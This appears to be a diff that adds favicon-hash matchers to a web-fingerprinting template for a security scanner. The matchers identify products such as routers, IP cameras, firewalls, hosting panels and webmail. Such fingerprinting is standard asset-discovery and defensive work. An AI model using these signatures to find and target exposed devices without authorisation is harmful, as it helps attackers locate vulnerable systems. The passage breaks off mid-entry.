+ - type: dsl name: "zte-corporation-gateway/appliance" dsl: - "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))" + - type: dsl name: "ruckus-wireless" dsl: - "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))" + - type: dsl name: "bitnami" dsl: - "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))" + - type: dsl name: "juniper-device-manager" dsl: - "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))" + - type: dsl name: "technicolor-gateway" dsl: - "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))" + - type: dsl name: "gitlab" dsl: - "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))" + - type: dsl name: "netasq---secure-/-stormshield" dsl: - "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))" + - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))" + - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))" + - type: dsl name: "vmware-horizon" dsl: - "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))" + - type: dsl name: "vmware-secure-file-transfer" dsl: - "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))" + - type: dsl name: "sap-netweaver" dsl: - "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))" + - type: dsl name: "sap-id-service" dsl: - "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))" + - type: dsl name: "sap-conversational-ai" dsl: - "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))" + - type: dsl name: "palo-alto-login-portal" dsl: - "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))" + - type: dsl name: "palo-alto-networks" dsl: - "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))" + - type: dsl name: "outlook-web-application" dsl: - "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))" + - type: dsl name: "webmin" dsl: - "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))" + - type: dsl name: "docker" dsl: - "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))" + - type: dsl name: "docker" dsl: - "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))" + - type: dsl name: "amazon" dsl: - "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))" + - type: dsl name: "amazon" dsl: - "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))" + - type: dsl name: "phpmyadmin" dsl: - "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))" + - type: dsl name: "zhejiang-uniview-technologies-co." dsl: - "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))" + - type: dsl name: "isp-manager" dsl: - "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))" + - type: dsl name: "axis-network-cameras" dsl: - "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))" + - type: dsl name: "roundcube-webmail" dsl: - "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))" + - type: dsl name: "unifi-video-controller-airvision" dsl: - "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))" + - type: dsl name: "pfsense" dsl: - "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))" + - type: dsl name: "freebox-os" dsl: - "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))" + - type: dsl name: "hxxps" dsl: - "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))" + - type: dsl name: "keenetic" dsl: - "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))" + - type: dsl name: "sierra-wireless-ace-manager-airlink" dsl: - "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))" + - type: dsl name: "synology-diskstation" dsl: - "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))" + - type: dsl name: "instar-ip-cameras" dsl: - "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))" + - type: dsl name: "webmin" dsl: - "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))" + - type: dsl name: "octoprint-3d-printer" dsl: - "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))" + - type: dsl name: "webmin" dsl: - "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))" + - type: dsl name: "vesta-hosting-control-panel" dsl: - "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))" + - type: dsl name: "farming-simulator-dedicated-server" dsl: - "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))" + - type: dsl name: "residential-gateway" dsl: - "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))" + - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))" + - type: dsl name: "arris" dsl: - "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))" + - type: dsl name: "plex-server" dsl: - "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))" + - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))" + - type: dsl name: "deluge" dsl: - "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))" + - type: dsl name: "webmin" dsl: - "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))" + - type: dsl name: "cambium-networks" dsl: - "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))" + - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))" + - type: dsl name: "dahua-storm-ip-camera" dsl: - "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))" + - type: dsl name: "10" dsl: - "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))" + - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))" + - type: dsl name: "fireware-watchguard" dsl: - "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))" + - type: dsl name: "shock&innovation!!-netis-setup" dsl: - "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))" + - type: dsl name: "cacaoweb" dsl: - "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))" + - type: dsl name: "loxone-automation" dsl: - "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))" + - type: dsl name: "hp-printer/server" dsl: - "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))" + - type: dsl name: "netflix" dsl: - "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))" + - type: dsl name: "linksys-smart-wi-fi" dsl: - "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))" + - type: dsl name: "lwip-a-lightweight-tcp/ip-stack" dsl: - "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))" + - type: dsl name: "hitron-technologies" dsl: - "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))" + - type: dsl name: "dahua-storm-dvr" dsl: - "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))" + - type: dsl name: "mobotix-camera" dsl: - "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))" + - type: dsl name: "blue-iris-webcam" dsl: - "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))" + - type: dsl name: "vigor-router" dsl: - "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))" + - type: dsl name: "alibaba-cloud-block-page" dsl: - "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))" + - type: dsl name: "dd-wrt-dd-wrt-milli_httpd" dsl: - "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))" + - type: dsl name: "mitel-networks-micollab-end-user-portal" dsl: - "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))" + - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))" + - type: dsl name: "dlink-router" dsl: - "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))" + - type: dsl name: "prtg-network-monitor" dsl: - "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))" + - type: dsl name: "elastic-database" dsl: - "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))" + - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))" + - type: dsl name: "wildfly" dsl: - "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))" + - type: dsl name: "cisco-meraki-dashboard" dsl: - "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))" + - type: dsl name: "workday" dsl: - "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))" + - type: dsl name: "justhost" dsl: - "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))" + - type: dsl name: "baidu-ip-error-page" dsl: - "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))" + - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))" + - type: dsl name: "yii-php-framework-default-favicon" dsl: - "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))" + - type: dsl name: "truvision-nvr-interlogix" dsl: - "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))" + - type: dsl name: "redmine" dsl: - "status_code==200 && (\"603314\" == mmh3(base64_py(body)))" + - type: dsl name: "phpmyadmin" dsl: - "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))" + - type: dsl name: "cisco-eg" dsl: - "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))" + - type: dsl name: "jetty-404" dsl: - "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))" + - type: dsl name: "luma-surveillance" dsl: - "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))" + - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))" + - type: dsl name: "hp-printer-/-server" dsl: - "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))" + - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))" + - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))" + - type: dsl name: "metasploit" dsl: - "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))" + - type: dsl name: "alibi-nvr" dsl: - "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))" + - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))" + - type: dsl name: "websockets-test-page-eg" dsl: - "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))" + - type: dsl name: "macos-server-apple" dsl: - "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))" + - type: dsl name: "openrg" dsl: - "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))" + - type: dsl name: "cisco-router" dsl: - "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))" + - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))" + - type: dsl name: "herospeed-digital-technology-co.-nvr/ipc/xvr" dsl: - "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))" + - type: dsl name: "nomadix-access-gateway" dsl: - "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))" + - type: dsl name: "gitlab" dsl: - "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))" + - type: dsl name: "magento" dsl: - "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))" + - type: dsl name: "mk-auth" dsl: - "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))" + - type: dsl name: "shoutcast-server" dsl: - "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))" + - type: dsl name: "fireeye" dsl: - "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))" + - type: dsl name: "adobe-campaign-classic" dsl: - "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))" + - type: dsl name: "xampp" dsl: - "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))" + - type: dsl name: "niagara-web-server" dsl: - "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))" + - type: dsl name: "technicolor" dsl: - "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))" + - type: dsl name: "hitron-technologies-inc." dsl: - "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))" + - type: dsl name: "ibm-notes" dsl: - "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))" + - type: dsl name: "barracuda" dsl: - "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))" + - type: dsl name: "servicenow" dsl: - "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))" + - type: dsl name: "openfire-admin-console" dsl: - "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))" + - type: dsl name: "hp-ilo" dsl: - "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))" + - type: dsl name: "sunny-webbox" dsl: - "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))" + - type: dsl name: "zyxel" dsl: - "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))" + - type: dsl name: "huawei" dsl: - "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))" + - type: dsl name: "tenda-web-master" dsl: - "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))" + - type: dsl name: "prometheus-time-series-collection-and-processing-server" dsl: - "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))" + - type: dsl name: "wdcp-cloud-host-management-system" dsl: - "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))" + - type: dsl name: "domoticz-home-automation" dsl: - "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))" + - type: dsl name: "tableau" dsl: - "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))" + - type: dsl name: "openwrt-luci" dsl: - "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))" + - type: dsl name: "ubiquiti-airos" dsl: - "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))" + - type: dsl name: "mdaemon-webmail" dsl: - "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))" + - type: dsl name: "teltonika" dsl: - "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))" + - type: dsl name: "entrolink" dsl: - "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))" + - type: dsl name: "windriver-webserver" dsl: - "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))" + - type: dsl name: "microhard-systems" dsl: - "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))" + - type: dsl name: "skype" dsl: - "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))" + - type: dsl name: "teltonika" dsl: - "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))" + - type: dsl name: "eltex-router" dsl: - "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))" + - type: dsl name: "bintec-elmeg" dsl: - "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))" + - type: dsl name: "syncthru-web-service-printers" dsl: - "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))" + - type: dsl name: "boaserver" dsl: - "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))" + - type: dsl name: "securepoint" dsl: - "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))" + - type: dsl name: "moodle" dsl: - "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))" + - type: dsl name: "radix" dsl: - "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))" + - type: dsl name: "cradlepoint-technology-router" dsl: - "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))" + - type: dsl name: "drupal" dsl: - "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))" + - type: dsl name: "blackboard" dsl: - "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))" + - type: dsl name: "jupyter-notebook" dsl: - "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))" + - type: dsl name: "hostmonster---web-hosting" dsl: - "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))" + - type: dsl name: "rocket-chat" dsl: - "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))" + - type: dsl name: "mofinetwork" dsl: - "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))" + - type: dsl name: "zabbix" dsl: - "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))" + - type: dsl name: "totolink-network" dsl: - "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))" + - type: dsl name: "ossia-provision-sr-|-webcam/ip-camera" dsl: - "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))" + - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))" + - type: dsl name: "jeedom-home-automation" dsl: - "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))" + - type: dsl name: "jboss-application-server-7" dsl: - "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))" + - type: dsl name: "niagara-web-server-/-tridium" dsl: - "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))" + - type: dsl name: "solarwinds-serv-u-ftp-server" dsl: - "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))" + - type: dsl name: "aruba-virtual-controller" dsl: - "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))" + - type: dsl name: "dell" dsl: - "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))" + - type: dsl name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft" dsl: - "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))" + - type: dsl name: "zyxel-zywall" dsl: - "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))" + - type: dsl name: "visualsvn-server" dsl: - "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))" + - type: dsl name: "jboss" dsl: - "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))" + - type: dsl name: "starface-voip-software" dsl: - "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))" + - type: dsl name: "netis-network-devices" dsl: - "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))" + - type: dsl name: "whm" dsl: - "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))" + - type: dsl name: "tandberg" dsl: - "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))" + - type: dsl name: "ghost-cms" dsl: - "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))" + - type: dsl name: "avtech-ip-surveillance-camera" dsl: - "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))" + - type: dsl name: "liferay-portal" dsl: - "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))" + - type: dsl name: "parallels-plesk-panel" dsl: - "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))" + - type: dsl name: "odoo" dsl: - "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))" + - type: dsl name: "polycom" dsl: - "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))" + - type: dsl name: "cake-php" dsl: - "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))" + - type: dsl name: "exacq" dsl: - "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))" + - type: dsl name: "checkpoint" dsl: - "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))" + - type: dsl name: "ubiquiti-unms" dsl: - "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))" + - type: dsl name: "cpanel-login" dsl: - "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))" + - type: dsl name: "worldclient-for-mdaemon" dsl: - "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))" + - type: dsl name: "netport-software-dsl" dsl: - "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))" + - type: dsl name: "f5-big-ip" dsl: - "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))" + - type: dsl name: "mailcow" dsl: - "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))" + - type: dsl name: "qnap-nas-virtualization-station" dsl: - "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))" + - type: dsl name: "netgear" dsl: - "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))" + - type: dsl name: "gogs" dsl: - "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))" + - type: dsl name: "trendnet-ip-camera" dsl: - "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))" + - type: dsl name: "asustor" dsl: - "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))" + - type: dsl name: "dahua" dsl: - "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))" + - type: dsl name: "discuz!" dsl: - "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))" + - type: dsl name: "wdcp-cloud-host-management-system" dsl: - "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))" + - type: dsl name: "joomla" dsl: - "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))" + - type: dsl name: "smartermail" dsl: - "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))" + - type: dsl name: "seafile" dsl: - "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))" + - type: dsl name: "bintec-elmeg" dsl: - "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))" + - type: dsl name: "netgear-readynas" dsl: - "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))" + - type: dsl name: "ipecs" dsl: - "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))" + - type: dsl name: "bet365" dsl: - "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))" + - type: dsl name: "reolink" dsl: - "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))" + - type: dsl name: "idera" dsl: - "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))" + - type: dsl name: "proofpoint" dsl: - "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))" + - type: dsl name: "kerio-connect-webmail" dsl: - "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))" + - type: dsl name: "worldclient-for-mdaemon" dsl: - "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))" + - type: dsl name: "realtek" dsl: - "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))" + - type: dsl name: "ruijie-networks-login" dsl: - "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))" + - type: dsl name: "askey-cable-modem" dsl: - "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))" + - type: dsl name: "askey-cable-modem" dsl: - "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))" + - type: dsl name: "jaws-web-server-ip-camera" dsl: - "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))" + - type: dsl name: "jaws-web-server-ip-camera" dsl: - "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))" + - type: dsl name: "homegrown-website-hosting" dsl: - "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))" + - type: dsl name: "technicolor-/-thomson-speedtouch-network-/-adsl" dsl: - "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))" + - type: dsl name: "dvr-korean" dsl: - "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))" + - type: dsl name: "joomla" dsl: - "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))" + - type: dsl name: "tp-link-network-device" dsl: - "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))" + - type: dsl name: "salesforce" dsl: - "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))" + - type: dsl name: "apache-haus" dsl: - "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))" + - type: dsl name: "untangle" dsl: - "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))" + - type: dsl name: "shenzhen-coship-electronics-co." dsl: - "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-router/network" dsl: - "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-camera" dsl: - "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))" + - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))" + - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))" + - type: dsl name: "kibana" dsl: - "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))" + - type: dsl name: "kibana" dsl: - "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))" + - type: dsl name: "kibana" dsl: - "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))" + - type: dsl name: "intelbras-sa" dsl: - "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))" + - type: dsl name: "icecast-streaming-media-server" dsl: - "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))" + - type: dsl name: "nec-webpro" dsl: - "status_code==200 && (\"1922032523\" == mmh3(base64_py(body)))" + - type: dsl name: "vivotek-camera" dsl: - "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))" + - type: dsl name: "microsoft-iis" dsl: - "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))" + - type: dsl name: "univention-portal" dsl: - "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))" + - type: dsl name: "portainer-docker-management" dsl: - "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))" + - type: dsl name: "nos-router" dsl: - "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))" + - type: dsl name: "tongda" dsl: - "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))" + - type: dsl name: "crushftp" dsl: - "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))" + - type: dsl name: "endian-firewall" dsl: - "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))" + - type: dsl name: "kerio-control-firewall" dsl: - "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))" + - type: dsl name: "ferozo-panel" dsl: - "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))" + - type: dsl name: "kerio-control-firewall" dsl: - "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))" + - type: dsl name: "cafe24-korea" dsl: - "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))" + - type: dsl name: "mautic-open-source-marketing-automation" dsl: - "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))" + - type: dsl name: "netiaspot-network" dsl: - "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))" + - type: dsl name: "multilaser" dsl: - "status_code==200 && (\"916642917\" == mmh3(base64_py(body)))" + - type: dsl name: "canvas-lms-learning-management" dsl: - "status_code==200 && (\"575613323\" == mmh3(base64_py(body)))" + - type: dsl name: "ibm-server" dsl: - "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))" + - type: dsl name: "adb-broadband-s.p.a.-network" dsl: - "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))" + - type: dsl name: "arris-network" dsl: - "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))" + - type: dsl name: "huawei-network" dsl: - "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))" + - type: dsl name: "wampserver" dsl: - "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))" + - type: dsl name: "seagate-technology-nas" dsl: - "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))" + - type: dsl name: "upc-ceska-republica-network" dsl: - "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))" + - type: dsl name: "flussonic-video-streaming" dsl: - "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))" + - type: dsl name: "joomla" dsl: - "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))" + - type: dsl name: "wampserver" dsl: - "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))" + - type: dsl name: "metabase" dsl: - "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))" + - type: dsl name: "d-link-network" dsl: - "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))" + - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))" + - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))" + - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))" + - type: dsl name: "mobileiron" dsl: - "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))" + - type: dsl name: "communigate" dsl: - "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))" + - type: dsl name: "zte-network" dsl: - "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))" + - type: dsl name: "infinet-wireless-|-wanflex-network" dsl: - "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))" + - type: dsl name: "mersive-solstice" dsl: - "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))" + - type: dsl name: "université-toulouse-1-capitole" dsl: - "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))" + - type: dsl name: "digium-switchvox" dsl: - "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))" + - type: dsl name: "powermta-monitoring" dsl: - "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))" + - type: dsl name: "smartlan/g" dsl: - "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))" + - type: dsl name: "checkpoint-gaia" dsl: - "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))" + - type: dsl name: "mailwizz" dsl: - 